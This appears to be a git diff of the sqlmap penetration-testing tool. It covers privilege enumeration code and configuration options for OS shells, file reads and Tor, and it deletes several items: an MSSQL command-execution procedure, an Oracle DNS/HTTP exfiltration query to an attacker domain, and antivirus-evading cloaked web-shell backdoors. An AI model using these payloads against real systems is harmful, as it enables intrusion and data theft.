Backend.isDbms(DBMS.ORACLE) and not query2: + infoMsg = "trying with table 'USER_SYS_PRIVS'" + logger.info(infoMsg) + + return self.getPrivileges(query2=True) + + warnMsg = "unable to retrieve the number of " + warnMsg += "privileges for user '%s'" % outuser + logger.warning(warnMsg) + continue + + infoMsg = "fetching privileges for user '%s'" % outuser + logger.info(infoMsg) + + privileges = set() + + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES + indexRange = getLimitRange(count, plusOne=plusOne) + + for index in indexRange: + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + query = rootQuery.blind.query2 % (user, index) + elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: + query = rootQuery.blind.query % (conditionChar, user, index) + elif Backend.isDbms(DBMS.ORACLE) and query2: + query = rootQuery.blind.query2 % (user, index) + elif Backend.isDbms(DBMS.FIREBIRD): + query = rootQuery.blind.query % (index, user) + elif Backend.isDbms(DBMS.INFORMIX): + query = rootQuery.blind.query % (user,) + else: + query = rootQuery.blind.query % (user, index) + + privilege = unArrayizeValue(inject.getValue(query, union=False, error=False)) + + if privilege is None: + continue + + # In PostgreSQL we get 1 if the privilege is True, + # 0 otherwise + if Backend.isDbms(DBMS.PGSQL) and ", " in privilege: + privilege = privilege.replace(", ", ',') + privs = privilege.split(',') + i = 1 + + for priv in privs: + if priv.isdigit() and int(priv) == 1 and i in PGSQL_PRIVS: + privileges.add(PGSQL_PRIVS[i]) + + i += 1 + + # In MySQL >= 5.0 and Oracle we get the list + # of privileges as string + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID): + privileges.add(privilege) + + # In MySQL < 5.0 we get Y if the privilege is + # True, N otherwise + elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + privilege = privilege.replace(", ", ',') + privs = privilege.split(',') + i = 1 + + for priv in privs: + if priv.upper() == 'Y': + for position, mysqlPriv in MYSQL_PRIVS.items(): + if position == i: + privileges.add(mysqlPriv) + + i += 1 + + # In Firebird we get one letter for each privilege + elif Backend.isDbms(DBMS.FIREBIRD): + if privilege.strip() in FIREBIRD_PRIVS: + privileges.add(FIREBIRD_PRIVS[privilege.strip()]) + + # In Informix we get one letter for the highest privilege + elif Backend.isDbms(DBMS.INFORMIX): + if privilege.strip() in INFORMIX_PRIVS: + privileges.add(INFORMIX_PRIVS[privilege.strip()]) + + # In DB2 we get Y or G if the privilege is + # True, N otherwise + elif Backend.isDbms(DBMS.DB2): + privs = privilege.split(',') + privilege = privs[0] + privs = privs[1] + privs = list(privs.strip()) + i = 1 + + for priv in privs: + if priv.upper() in ('Y', 'G'): + for position, db2Priv in DB2_PRIVS.items(): + if position == i: + privilege += ", " + db2Priv + + i += 1 + + privileges.add(privilege) + + # In MySQL < 5.0 we break the cycle after the first + # time we get the user's privileges otherwise we + # duplicate the same query + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + break + + if privileges: + kb.data.cachedUsersPrivileges[user] = list(privileges) + else: + warnMsg = "unable to retrieve the privileges " + warnMsg += "for user '%s'" % outuser + logger.warning(warnMsg) + + retrievedUsers.add(user) + + if not kb.data.cachedUsersPrivileges: + errMsg = "unable to retrieve the privileges " + errMsg += "for the database users" + raise SqlmapNoneDataException(errMsg) + + for user, privileges in kb.data.cachedUsersPrivileges.items(): + if isAdminFromPrivileges(privileges): + areAdmins.add(user) + + return (kb.data.cachedUsersPrivileges, areAdmins) + + def getRoles(self, query2=False): + warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms() + warnMsg += "exist. sqlmap will enumerate privileges instead" + logger.warning(warnMsg) + + return self.getPrivileges(query2) diff --git a/procs/README.txt b/procs/README.txt deleted file mode 100755 index e281df70654..00000000000 --- a/procs/README.txt +++ /dev/null @@ -1,3 +0,0 @@ -Files in this folder represent SPL/SQL snippets used by sqlmap on the target -system. They are licensed under the terms of the GNU Lesser General Public -License. diff --git a/procs/mssqlserver/create_new_xp_cmdshell.txt b/procs/mssqlserver/create_new_xp_cmdshell.txt deleted file mode 100644 index 913f368c1c1..00000000000 --- a/procs/mssqlserver/create_new_xp_cmdshell.txt +++ /dev/null @@ -1,3 +0,0 @@ -DECLARE @%RANDSTR% nvarchar(999); -set @%RANDSTR%='CREATE PROCEDURE %XP_CMDSHELL_NEW%(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID'; -EXEC master..sp_executesql @%RANDSTR% diff --git a/procs/mssqlserver/run_statement_as_user.txt b/procs/mssqlserver/run_statement_as_user.txt deleted file mode 100644 index 46842737c26..00000000000 --- a/procs/mssqlserver/run_statement_as_user.txt +++ /dev/null @@ -1,2 +0,0 @@ -SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','%STATEMENT%') -# SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','%STATEMENT%') diff --git a/procs/oracle/dns_request.txt b/procs/oracle/dns_request.txt deleted file mode 100644 index adb71cfb2fb..00000000000 --- a/procs/oracle/dns_request.txt +++ /dev/null @@ -1,2 +0,0 @@ -SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL -# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL diff --git a/shell/README.txt b/shell/README.txt deleted file mode 100644 index 6e2e08cfc74..00000000000 --- a/shell/README.txt +++ /dev/null @@ -1,11 +0,0 @@ -Due to the anti-virus positive detection of shell scripts stored inside -this folder, we needed to somehow circumvent this. As from the plain -sqlmap users perspective nothing has to be done prior to their usage by -sqlmap, but if you want to have access to their original source code use -the decrypt functionality of the ../extra/cloak/cloak.py utility. - -To prepare the original scripts to the cloaked form use this command: -find backdoor.* stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \; - -To get back them into the original form use this: -find backdoor.*_ stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \; diff --git a/shell/backdoor.asp_ b/shell/backdoor.asp_ deleted file mode 100644 index 720f13de61b..00000000000 Binary files a/shell/backdoor.asp_ and /dev/null differ diff --git a/shell/backdoor.aspx_ b/shell/backdoor.aspx_ deleted file mode 100644 index 178c1185ae5..00000000000 --- a/shell/backdoor.aspx_ +++ /dev/null @@ -1,2 +0,0 @@ -=%FN>&Y,&LîÎ߀;o€pZþŠ¿÷ÿê?~½¸ë´èYÕpWaV¡“Y€eyƒ?ÔÐvI¡µrrB2y€eK96¦£9š~ˆ|?evWu2êO.´†<_Krr” }‚ü]àcɘÚÔgÆCk:~·¤ëÃÓpßÍ~³ ¼g£b®ø2 \_ Œ“=éZî˜_¬…{1N)×`VYÓ–r¡¦M)ƒ› ¾/–3tœý\7<Iu5ñ(°F¶w'6à’ ƒ i“v* \,„ÐÔæ9ÕéÁm{2qÝ°†¢2<V/cõ1\~b—u1?G׆â7 ønê/ “„á“f4#d>gn¬Þ;~Š^˜\6¡/{m]ø°¯ ˆiµñÒv°:õ¹TÛ Xï˜àˆcÄú_>/q’«2–Öð/]Û/戥öÖŠñ[znA‚ûo\™Á^^ë¤o”r>¤Å$¬O<ÍK¨‘ÖxöºçrB7«9L-Ja$UFsɬ˜—d\‰£ :Åë8NW˜çd --¦›ZùJÌgsáv=„*í?Cž•'#‹sÊÉŒ=\o>ÀVa×5[ †ÈÈŒÊ$ᜠå£pñ[,…vyóAìà \ No newline at end of file diff --git a/shell/backdoor.jsp_ b/shell/backdoor.jsp_ deleted file mode 100644 index 60f80dabff1..00000000000 --- a/shell/backdoor.jsp_ +++ /dev/null @@ -1,2 +0,0 @@ -=%FN>&Y,&Ä–‰ €;o  p-[ØŠ@÷ÿê?~½›. 5ž¢f|0,?Ñ ~¡l6´Ê Ó>£_err|ÐfKe~[6¤Ñꞧ„KžšrKÐr”‚:92<|“™Nf r¨˜ ‹DX VsÂ;w…0mxÖH†÷¶ß7e·~>ƒê0XW‰f«’ÙefÄ(Ž~V0kmCì*‚fŽ€nÉ5æ3S¿˜\iƒ:ƒO攓lÒÍw„¯X±©Ô ®ß1©”„²ÇáE_¸¤J&Æ><{Ÿr…zâ™4€õÞ?´‹sã™=Kà€×¨^îmݬòÏÖ?‚v¤Þ_ùÏ}«A4 ¹Ù‹n/sU‰Ç3I; 7‰‚u@?ìbÁ¯+¢#ÂͼÄýÐk{áè³à¬óTQÇIC<êÒµ Û'ÃdmŒÌl<zY|qhoOÐ;^Ag±=U³×w';×8E}‚fg9:;4‚^¡Âà%¹Sùš“œÝºoZjtë ˆhÚ6Ñ3è -~CÁˆnË_™eyt³Šò(7©Wà›|ü"Éká==Hm&À \ No newline at end of file diff --git a/shell/backdoor.php_ b/shell/backdoor.php_ deleted file mode 100644 index 7953ba9ce87..00000000000 --- a/shell/backdoor.php_ +++ /dev/null @@ -1,4 +0,0 @@ -=%FN>&Y,&I£TyŽŸ€ -íòpÂzAq¿÷Þú?}gÖí•za¡ég\2~£<<õ?”,l_ž¦Ê?g\KeÓ3oZKš,Ä<ÔõrfKNrrx¨É£v[Œ9ŠKÛWžWNd¾WÅ -oõÆ®¹Œ£vJ7;ð¢3 m5}˜„TIgûÔB—æ<h¹EU]Žuå^Ô‘’m[_Ž’•SÎß×ðîsoúJ,%)@Vc=ðç­/¾Ç°ÀøkáÀˆª‘Í>*ˆåx'×g¨.9ßp A—»5rLS|eR1¶Yè1†E+(h2M)ÁŠ…²I]5 Ƹ×?¾ˆ&#«ºÑoí*{äë•HïáÈžÑä<;ßTsÑö÷Gö!è˜ÑÖ˜85,-Æ?_éü–Õ>-¹ï»Æ²Öʼn’¬c4⹬WëÖð ’bkD’¡²ÐÒ+i'Ü¢xƒ󓞆©Ròz–Ë[š3s‰6k Ý]C_Bêõ5ž¾TÔ -bzs8G¼¬w´L®µ#ôî¨[@RB9¸¨.‡•¨®@ ‘Z^â—c»óµYvU°³‘V˜T¶Å|ä|K:ýƒ[Nê–¨:i_ZÞC/… FÝ6îkÝh“]¹Ñˆð¥93T$È1Ò†l•ºäRcÎ9h‰¬+HäŽñìsÈŽ3‘þQ䊡_9)s \ No newline at end of file diff --git a/shell/runcmd.exe_ b/shell/runcmd.exe_ deleted file mode 100644 index 109987ea1ed..00000000000 Binary files a/shell/runcmd.exe_ and /dev/null differ diff --git a/shell/stager.asp_ b/shell/stager.asp_ deleted file mode 100644 index 377109575fe..00000000000 Binary files a/shell/stager.asp_ and /dev/null differ diff --git a/shell/stager.aspx_ b/shell/stager.aspx_ deleted file mode 100644 index d160e68fbd8..00000000000 Binary files a/shell/stager.aspx_ and /dev/null differ diff --git a/shell/stager.jsp_ b/shell/stager.jsp_ deleted file mode 100644 index 730a13751a7..00000000000 Binary files a/shell/stager.jsp_ and /dev/null differ diff --git a/shell/stager.php_ b/shell/stager.php_ deleted file mode 100644 index 763e892d115..00000000000 --- a/shell/stager.php_ +++ /dev/null @@ -1,2 +0,0 @@ -=%FN>&Y,&¢$§6 €}o+çæŸ÷ÿÚ¿ÿO~Š%Ù‚.],Ê”òp-\>¦?a£vúWr~V¢¦lÑL7Ñ£?y€Kv6YšY†9€y‡AËr„0‡¹ Á®·åPoVš':(9K,æ¶Kì-*tƒk7+n¦feÛ×4T rñÏRÚ›iݯ…²yæ)ZkRH”’ü'X§©¿¼:ÕŠ¥g²ª9£ÌP[,;EëªCÖ7Û]öJïLצ×iî¤'?ÚˆÔUö¬Ð†É¦Üd(³Ž†¥êJ0FÉ#K?íêâo*K‰oetÔÛW˜GÄ>ÆXŠìñ_-™¨R›Oò?NŠ-ùß8‡3Š‡ -/™Ï¸*óPÆÓGÒlháTg1£~ñ£+é¨(SŽ—tXE$Êf˨8)^Ÿ‰I|y»ûôªvÂp¶i‡¸_;7æ '^‰T¤3~$dƒÅ8R‘rƒP|Ý?<\:K6Y|"oå9‚zà"(Å¡F/ueTX'ýZŽ·þ ¦Œô%,i‰jÌØ®Éu‚×{Öp*ìŒ]áþQ䊡^;ø·1 \ No newline at end of file diff --git a/sqlmap.conf b/sqlmap.conf index 558b0823406..9d0ca92db03 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -1,113 +1,161 @@ # At least one of these options has to be specified to set the source to -# get target urls from. +# get target URLs from. [Target] +# Target URL. +# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 +url = + # Direct connection to the database. # Examples: # mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME # oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID direct = -# Target URL. -# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -url = - # Parse targets from Burp or WebScarab logs # Valid: Burp proxy (http://portswigger.net/suite/) requests log file path # or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) # 'conversations/' folder path logFile = +# Scan multiple targets enlisted in a given textual file +bulkFile = + # Load HTTP request from a file # Example (file content): POST /login.jsp HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/4.0\n\nuserid=joe&password=guessme requestFile = -# Rather than providing a target url, let Google return target +# Rather than providing a target URL, let Google return target # hosts as result of your Google dork expression. For a list of Google -# dorks see Johnny Long Google Hacking Database at -# http://johnny.ihackstuff.com/ghdb.php. +# dorks see Google Hacking Database at +# https://www.exploit-db.com/google-hacking-database # Example: +ext:php +inurl:"&id=" +intext:"powered by " googleDork = -# These options can be used to specify how to connect to the target url. +# These options can be used to specify how to connect to the target URL. [Request] -# Data string to be sent through POST. +# Force usage of given HTTP method (e.g. PUT). +method = + +# Data string to be sent through POST (e.g. "id=1"). data = -# Character used for splitting cookie values -pDel = +# Character used for splitting parameter values (e.g. &). +paramDel = -# HTTP Cookie header. +# HTTP Cookie header value (e.g. "PHPSESSID=a8d127e.."). cookie = -# File containing cookies in Netscape/wget format -loC = +# Character used for splitting cookie values (e.g. ;). +cookieDel = -# URL-encode generated cookie injections. -# Valid: True or False -cookieUrlencode = False +# Live cookies file used for loading up-to-date values. +liveCookies = -# Ignore Set-Cookie header from response +# File containing cookies in Netscape/wget format. +loadCookies = + +# Ignore Set-Cookie header from response. # Valid: True or False dropSetCookie = False -# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value -# at each HTTP request +# Use HTTP version 1.0 (old). +# Valid: True or False +http10 = False + +# Use HTTP version 2 (experimental). +# Valid: True or False +http2 = False + +# HTTP User-Agent header value. Useful to fake the HTTP User-Agent header value +# at each HTTP request. # sqlmap will also test for SQL injection on the HTTP User-Agent value. agent = -# Use randomly selected HTTP User-Agent header +# Imitate smartphone through HTTP User-Agent header. +# Valid: True or False +mobile = False + +# Use randomly selected HTTP User-Agent header value. # Valid: True or False randomAgent = False -# HTTP Host header. +# HTTP Host header value. host = # HTTP Referer header. Useful to fake the HTTP Referer header value at # each HTTP request. referer = -# Randomly change value for the given parameter -rParam = - -# Force usage of SSL/HTTPS requests -# Valid: True or False -forceSSL = False - # Extra HTTP headers headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 -# HTTP Authentication type. Useful only if the target url requires -# HTTP Basic, Digest or NTLM authentication and you have such data. -# Valid: Basic, Digest or NTLM -aType = +# HTTP Authentication type. Useful only if the target URL requires +# HTTP Basic, Digest, Bearer or NTLM authentication and you have such data. +# Valid: Basic, Digest, Bearer, NTLM or PKI +authType = -# HTTP authentication credentials. Useful only if the target url requires -# HTTP Basic, Digest or NTLM authentication and you have such data. +# HTTP authentication credentials. Useful only if the target URL requires +# HTTP Basic, Digest, Token or NTLM authentication and you have such data. # Syntax: username:password -aCred = +authCred = -# HTTP Authentication certificate. Useful only if the target url requires -# logon certificate and you have such data. -# Syntax: key_file,cert_file -aCert = +# HTTP Authentication PEM private/cert key file. Useful only if the target URL requires +# PKI authentication and you have such data. +# Syntax: key_file +authFile = -# Use a HTTP proxy to connect to the target url. -# Syntax: http://address:port +# Abort on (problematic) HTTP error code (e.g. 401). +# Valid: string +abortCode = + +# Ignore (problematic) HTTP error code (e.g. 401). +# Valid: string +ignoreCode = + +# Ignore system default proxy settings. +# Valid: True or False +ignoreProxy = False + +# Ignore redirection attempts. +# Valid: True or False +ignoreRedirects = False + +# Ignore connection timeouts. +# Valid: True or False +ignoreTimeouts = False + +# Use a proxy to connect to the target URL. +# Syntax: (http|https|socks4|socks5)://address:port proxy = -# HTTP proxy authentication credentials. Useful only if the proxy requires -# HTTP Basic or Digest authentication and you have such data. +# Proxy authentication credentials. Useful only if the proxy requires +# Basic or Digest authentication and you have such data. # Syntax: username:password -pCred = +proxyCred = + +# Load proxy list from a file +proxyFile = -# Ignore system default HTTP proxy. +# Use Tor anonymity network. # Valid: True or False -ignoreProxy = False +tor = False + +# Set Tor proxy port other than default. +# Valid: integer +# torPort = + +# Set Tor proxy type. +# Valid: HTTP, SOCKS4, SOCKS5 +torType = SOCKS5 + +# Check to see if Tor is used properly. +# Valid: True or False +checkTor = False # Delay in seconds between each HTTP request. # Valid: float @@ -124,29 +172,63 @@ timeout = 30 # Default: 3 retries = 3 -# Regular expression for filtering targets from provided Burp. -# or WebScarab proxy log. -# Example: (google|yahoo) -scope = +# Retry request on regexp matching content. +retryOn = + +# Randomly change value for the given parameter. +rParam = -# Url address to visit frequently during testing. +# URL address to visit frequently during testing. # Example: http://192.168.1.121/index.html -safUrl = +safeUrl = + +# POST data to send to a safe URL. +# Example: username=admin&password=passw0rd! +safePost = + +# Load safe HTTP request from a file. +safeReqFile = -# Test requests between two visits to a given safe url (default 0). +# Regular requests between visits to a safe URL (default 0). # Valid: integer # Default: 0 -saFreq = 0 +safeFreq = 0 -# Skip URL encoding of POST data +# Skip URL encoding of payload data. # Valid: True or False skipUrlEncode = False +# Parameter used to hold anti-CSRF token. +csrfToken = + +# URL address to visit to extract anti-CSRF token +csrfUrl = + +# HTTP method to use during anti-CSRF token page visit. +csrfMethod = + +# POST data to send during anti-CSRF token page visit. +csrfData = + +# Retries for anti-CSRF token retrieval. +csrfRetries = + +# Force usage of SSL/HTTPS +# Valid: True or False +forceSSL = False + +# Use HTTP chunked transfer encoded requests. +# Valid: True or False +chunked = False + +# Use HTTP parameter pollution. +# Valid: True or False +hpp = False + # Evaluate provided Python code before the request. # Example: import hashlib;id2=hashlib.md5(id).hexdigest() evalCode = - # These options can be used to optimize the performance of sqlmap. [Optimization] @@ -180,14 +262,35 @@ threads = 1 # parameters and HTTP User-Agent are tested by sqlmap. testParameter = -# Force back-end DBMS to this value. If this option is set, the back-end +# Skip testing for given parameter(s). +skip = + +# Skip testing parameters that not appear to be dynamic. +# Valid: True or False +skipStatic = False + +# Regexp to exclude parameters from testing (e.g. "ses"). +paramExclude = + +# Select testable parameter(s) by place (e.g. "POST"). +paramFilter = + +# Force back-end DBMS to provided value. If this option is set, the back-end # DBMS identification process will be minimized as needed. # If not set, sqlmap will detect back-end DBMS automatically by default. # Valid: mssql, mysql, mysql 4, mysql 5, oracle, pgsql, sqlite, sqlite3, # access, firebird, maxdb, sybase dbms = -# Force back-end DBMS operating system to this value. If this option is +# DBMS authentication credentials (user:password). Useful if you want to +# run SQL statements as another user, the back-end database management +# system is PostgreSQL or Microsoft SQL Server and the parameter is +# vulnerable by stacked queries SQL injection or you are connecting directly +# to the DBMS (-d switch). +# Syntax: username:password +dbmsCred = + +# Force back-end DBMS operating system to provided value. If this option is # set, the back-end DBMS identification process will be minimized as # needed. # If not set, sqlmap will detect back-end DBMS operating system @@ -203,19 +306,24 @@ invalidBignum = False # Valid: True or False invalidLogical = False +# Use random strings for invalidating values. +# Valid: True or False +invalidString = False + # Turn off payload casting mechanism # Valid: True or False noCast = False +# Turn off string escaping mechanism +# Valid: True or False +noEscape = False + # Injection payload prefix string. prefix = # Injection payload suffix string. suffix = -# Skip testing for given parameter(s). -skip = - # Use given script(s) for tampering injection data. tamper = @@ -234,29 +342,38 @@ level = 1 # Risk of tests to perform. # Note: boolean-based blind SQL injection tests with AND are considered # risk 1, with OR are considered risk 3. -# Valid: Integer between 0 and 3 +# Valid: Integer between 1 and 3 # Default: 1 risk = 1 -# String to match within the raw response when the query is valid, only -# needed if the page content dynamically changes at each refresh. +# String to match within the raw response when the query is evaluated to +# True, only needed if the page content dynamically changes at each refresh. # Refer to the user's manual for further details. string = +# String to match within the raw response when the query is evaluated to +# False, only needed if the page content dynamically changes at each refresh. +# Refer to the user's manual for further details. +notString = + # Regular expression to match within the raw response when the query is -# valid, only needed if the needed if the page content dynamically changes -# at each refresh. +# evaluated to True, only needed if the needed if the page content +# dynamically changes at each refresh. # Refer to the user's manual for further details. # Valid: regular expression with Python syntax # (http://www.python.org/doc/2.5.2/lib/re-syntax.html) regexp = -# HTTP response code to match when the query is valid. +# HTTP response code to match when the query is True. # Valid: Integer # Example: 200 (assuming any False statement returns a different response # code) # code = +# Conduct thorough tests only if positive heuristic(s). +# Valid: True or False +smart = False + # Compare pages based only on the textual content. # Valid: True or False textOnly = False @@ -270,36 +387,59 @@ titles = False # techniques. [Techniques] -# SQL injection techniques to test for. -# Valid: a string composed by B, E, U, S and T where: +# SQL injection techniques to use. +# Valid: a string composed by B, E, U, S, T and Q where: # B: Boolean-based blind SQL injection # E: Error-based SQL injection # U: UNION query SQL injection # S: Stacked queries SQL injection # T: Time-based blind SQL injection +# Q: Inline SQL injection # Example: ES (means test for error-based and stacked queries SQL # injection types only) -# Default: BEUST (means test for all SQL injection types - recommended) -tech = BEUST +# Default: BEUSTQ (means test for all SQL injection types - recommended) +technique = BEUSTQ # Seconds to delay the response from the DBMS. # Valid: integer # Default: 5 timeSec = 5 -# Range of columns to test for +# Disable the statistical model for detecting the delay. +# Valid: True or False +disableStats = False + +# Range of columns to test for. # Valid: range of integers # Example: 1-10 uCols = -# Character to use for bruteforcing number of columns +# Character to use for bruteforcing number of columns. # Valid: string # Example: NULL uChar = -# Domain name used for DNS exfiltration attack +# Table to use in FROM part of UNION query SQL injection. +# Valid: string +# Example: INFORMATION_SCHEMA.COLLATIONS +uFrom = + +# Column values to use for UNION query SQL injection. +# Valid: string +# Example: NULL,1,*,NULL +uValues = + +# Domain name used for DNS exfiltration attack. +# Valid: string +dnsDomain = + +# Resulting page URL searched for second-order response. +# Valid: string +secondUrl = + +# Load second-order HTTP request from file. # Valid: string -dName = +secondReq = [Fingerprint] @@ -315,6 +455,10 @@ extensiveFp = False # tables. Moreover you can run your own SQL statements. [Enumeration] +# Retrieve everything +# Valid: True or False +getAll = False + # Retrieve back-end database management system banner. # Valid: True or False getBanner = False @@ -327,6 +471,10 @@ getCurrentUser = False # Valid: True or False getCurrentDb = False +# Retrieve back-end database management system server hostname. +# Valid: True or False +getHostname = False + # Detect if the DBMS current user is DBA. # Valid: True or False isDba = False @@ -384,15 +532,32 @@ dumpAll = False # Valid: True or False search = False +# Check for database management system database comments during enumeration. +# Valid: True or False +getComments = False + +# Retrieve SQL statements being run on database management system. +# Valid: True or False +getStatements = False + # Back-end database management system database to enumerate. db = -# Back-end database management system database table to enumerate. +# Back-end database management system database table(s) to enumerate. tbl = -# Back-end database management system database table column to enumerate. +# Back-end database management system database table column(s) to enumerate. col = +# Back-end database management system identifiers (database(s), table(s) and column(s)) to not enumerate. +exclude = + +# Pivot column name. +pivotColumn = + +# Use WHERE condition while table dumping (e.g. "id=1"). +dumpWhere = + # Back-end database management system database user to enumerate. user = @@ -402,13 +567,13 @@ excludeSysDbs = False # First query output entry to retrieve # Valid: integer -# Default: 0 (sqlmap will start to retrieve the query output entries from -# the first) +# Default: 0 (sqlmap will start to retrieve the table dump entries from +# first one) limitStart = 0 # Last query output entry to retrieve # Valid: integer -# Default: 0 (sqlmap will detect the number of query output entries and +# Default: 0 (sqlmap will detect the number of table dump entries and # retrieve them until the last) limitStop = 0 @@ -426,12 +591,15 @@ lastChar = 0 # SQL statement to be executed. # Example: SELECT 'foo', 'bar' -query = +sqlQuery = # Prompt for an interactive SQL shell. # Valid: True or False sqlShell = False +# Execute SQL statements from given file(s). +sqlFile = + # These options can be used to run brute force checks. [Brute force] @@ -444,6 +612,10 @@ commonTables = False # Valid: True or False commonColumns = False +# Check existence of common files. +# Valid: True or False +commonFiles = False + # These options can be used to create custom user-defined functions. [User-defined function] @@ -462,15 +634,15 @@ shLib = # Read a specific file from the back-end DBMS underlying file system. # Examples: /etc/passwd or C:\boot.ini -rFile = +fileRead = # Write a local file to a specific path on the back-end DBMS underlying # file system. # Example: /tmp/sqlmap.txt or C:\WINNT\Temp\sqlmap.txt -wFile = +fileWrite = # Back-end DBMS absolute filepath to write the file to. -dFile = +fileDest = # These options can be used to access the back-end database management @@ -485,11 +657,11 @@ osCmd = # Valid: True or False osShell = False -# Prompt for an out-of-band shell, meterpreter or VNC. +# Prompt for an out-of-band shell, Meterpreter or VNC. # Valid: True or False osPwn = False -# One click prompt for an out-of-band shell, meterpreter or VNC. +# One click prompt for an out-of-band shell, Meterpreter or VNC. # Valid: True or False osSmb = False @@ -544,36 +716,61 @@ regType = # These options can be used to set some general working parameters. [General] +# Load session from a stored (.sqlite) file +# Example: output/www.target.com/session.sqlite +sessionFile = + # Log all HTTP traffic into a textual file. trafficFile = +# Abort data retrieval on empty results. +abortOnEmpty = False + +# Set predefined answers (e.g. "quit=N,follow=N"). +answers = + +# Parameter(s) containing Base64 encoded data +base64Parameter = + +# Use URL and filename safe Base64 alphabet (Reference: https://en.wikipedia.org/wiki/Base64#URL_applications). +# Valid: True or False +base64Safe = False + # Never ask for user input, use the default behaviour. # Valid: True or False batch = False -# Force character encoding used for data retrieval. -charset = +# Result fields having binary values (e.g. "digest"). +binaryFields = -# Check to see if Tor is used properly. +# Check Internet connection before assessing the target. +checkInternet = False + +# Clean up the DBMS from sqlmap specific UDF and tables. # Valid: True or False -checkTor = False +cleanup = False -# Crawl the website starting from the target url. +# Crawl the website starting from the target URL. # Valid: integer # Default: 0 crawlDepth = 0 +# Regexp to exclude pages from crawling (e.g. "logout"). +crawlExclude = + # Delimiting character used in CSV output. # Default: , csvDel = , -# DBMS authentication credentials (user:password). Useful if you want to -# run SQL statements as another user, the back-end database management -# system is PostgreSQL or Microsoft SQL Server and the parameter is -# vulnerable by stacked queries SQL injection or you are connecting directly -# to the DBMS (-d switch). -# Syntax: username:password -dCred = +# Store dumped data to a custom file. +dumpFile = + +# Format of dumped data +# Valid: CSV, HTML or SQLITE +dumpFormat = CSV + +# Force character encoding used for data retrieval. +encoding = # Retrieve each query output length and calculate the estimated time of # arrival in real time. @@ -584,92 +781,127 @@ eta = False # Valid: True or False flushSession = False -# Parse and test forms on target url. +# Parse and test forms on target URL. # Valid: True or False forms = False -# Ignores query results stored in session file. +# Ignore query results stored in session file. # Valid: True or False freshQueries = False -# Uses DBMS hex function(s) for data retrieval. +# Use Google dork results from specified page number. +# Valid: integer +# Default: 1 +googlePage = 1 + +# Use hex conversion during data retrieval. # Valid: True or False hexConvert = False # Custom output directory path. -oDir = +outputDir = # Parse and display DBMS error messages from responses. # Valid: True or False parseErrors = False -# Replicate dumped data into a sqlite3 database. -# Valid: True or False -replicate = False +# Use given script(s) for preprocessing of request. +preprocess = -# Use Use Tor anonymity network. +# Use given script(s) for postprocessing of response data. +postprocess = + +# Redump entries having unknown character marker (?). # Valid: True or False -tor = False +repair = False -# Set Tor proxy port other than default. -# Valid: integer -# torPort = +# Regular expression for filtering targets from provided Burp. +# or WebScarab proxy log. +# Example: (google|yahoo) +scope = -# Set Tor proxy type. -# Valid: HTTP, SOCKS4, SOCKS5 -torType = HTTP +# Skip heuristic detection of SQLi/XSS vulnerabilities. +# Valid: True or False +skipHeuristics = False -# Update sqlmap. +# Skip heuristic detection of WAF/IPS protection. # Valid: True or False -updateAll = False +skipWaf = False + +# Prefix used for temporary tables. +# Default: sqlmap +tablePrefix = sqlmap + +# Select tests by payloads and/or titles (e.g. ROW). +testFilter = + +# Skip tests by payloads and/or titles (e.g. BENCHMARK). +testSkip = + +# Run with a time limit in seconds (e.g. 3600). +timeLimit = + +# Disable escaping of DBMS identifiers (e.g. "user"). +unsafeNaming = False + +# Web server document root directory (e.g. "/var/www"). +webRoot = [Miscellaneous] -# Sound alert when SQL injection found. +# Run host OS command(s) when SQL injection is found. +alert = + +# Beep on question and/or when SQL injection is found. +# Valid: True or False beep = False -# Offline WAF/IPS/IDS payload detection testing. +# Offline WAF/IPS payload detection testing. +# Valid: True or False checkPayload = False -# Check for existence of WAF/IPS/IDS protection. -checkWaf = False - -# Clean up the DBMS by sqlmap specific UDF and tables. +# Check for missing (optional) sqlmap dependencies. # Valid: True or False -cleanup = False +dependencies = False -# Show which sqlmap dependencies are not available. +# Disable console output coloring. # Valid: True or False -dependencies = False +disableColoring = False -# Disable password hash cracking mechanism. +# Disable hash analysis on table dumps. # Valid: True or False -disableHash = False +disableHashing = False -# Disable LIKE search of identificator names. +# Display list of available tamper scripts. # Valid: True or False -disableLike = False +listTampers = False -# Use Google dork results from specified page number. -# Valid: integer -# Default: 1 -googlePage = 1 +# Disable logging to a file. +# Valid: True or False +noLogging = False -# Imitate smartphone through HTTP User-Agent header. +# Disable console output truncation. # Valid: True or False -mobile = False +noTruncate = False -# Display page rank (PR) for Google dork results. +# Work in offline mode (only use session data) # Valid: True or False -pageRank = False +offline = False + 